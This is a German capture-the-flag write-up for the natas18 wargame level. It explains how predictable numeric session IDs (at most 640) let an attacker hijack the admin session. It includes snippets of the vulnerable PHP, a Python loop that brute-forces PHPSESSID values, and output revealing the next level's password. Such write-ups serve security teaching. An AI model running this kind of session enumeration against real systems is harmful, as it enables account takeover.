Aktualisiert am: 2022-08-26

Session Prediction

Enumeration

Challenge

  • Im Quellcode finden wir einen Kommentar, der uns auf die höchstmögliche ID hinweist

     $maxid = 640; // 640 should be enough for everyone
    
     ...
    
     function createID($user) {
         global $maxid;
         return rand(1, $maxid);
     }
    
  • Der Rückgabewert von createID wird als Argument für session_id benutzt, bevor eine neue Session gestartet wird

         session_id(createID($_REQUEST["username"]));
         session_start();
    
  • Die Funktion my_session_start prüft die Variable $_COOKIE["PHPSESSID"]

     if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    
  • Die Überprüfung testet lediglich darauf, ob die ID numerisch ist

     function isValidID($id) {
         return is_numeric($id);
     }
    
  • Nur als admin erhalten wir die Zugangsdaten

     function print_credentials() {
         if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
             print "You are an admin. The credentials for the next level are:<br>";
             print "<pre>Username: natas19\n";
             print "Password: <censored></pre>";
         ...
    

Exploitation

  • Vorausgesetzt, die admin Session ist noch gültig, muss deren Session ID im Bereich von 0 bis 640 liegen
  • Das ist ein überschaubarer Bereich, den wir durchprobieren können…

     # iterate through session ids
     for session_id in range(session_id_max):
         result = http_request(session_id)
    
  • …bis wir admin sind

    # print result if we are no longer a regular user"
    if "You are logged in as a regular user" not in result:
        print(result)
        break
    

Python Script

Demo | natas18-solution.py

Das Script beginnt beim ersten Versuch mit der ID 0 und ist nach 120 Versuchen am Ziel

001   0
...
120 119
<html>
<head>
...
</head>
<body>
<h1>natas18</h1>
<div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

requests: 120

Links

  • Artikel mit englischsprachiger Lösungsbeschreibung